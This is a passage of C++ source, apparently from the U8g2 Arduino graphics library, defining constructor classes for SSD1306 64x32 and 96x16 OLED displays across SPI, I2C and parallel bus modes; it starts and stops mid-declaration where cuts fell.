U8G2_SSD1306_64X32_NONAME_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_F_6800 : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_F_8080 : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_F_6800 : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_F_8080 : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_1f_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_1f_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_64X32_NONAME_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_NONAME_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_64X32_1F_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_64X32_1F_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_64x32_1f_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_1_6800 : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_1_8080 : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_2_6800 : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_2_8080 : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_F_6800 : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_F_8080 : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x16_er_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x16_er_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_96X16_ER_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X16_ER_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    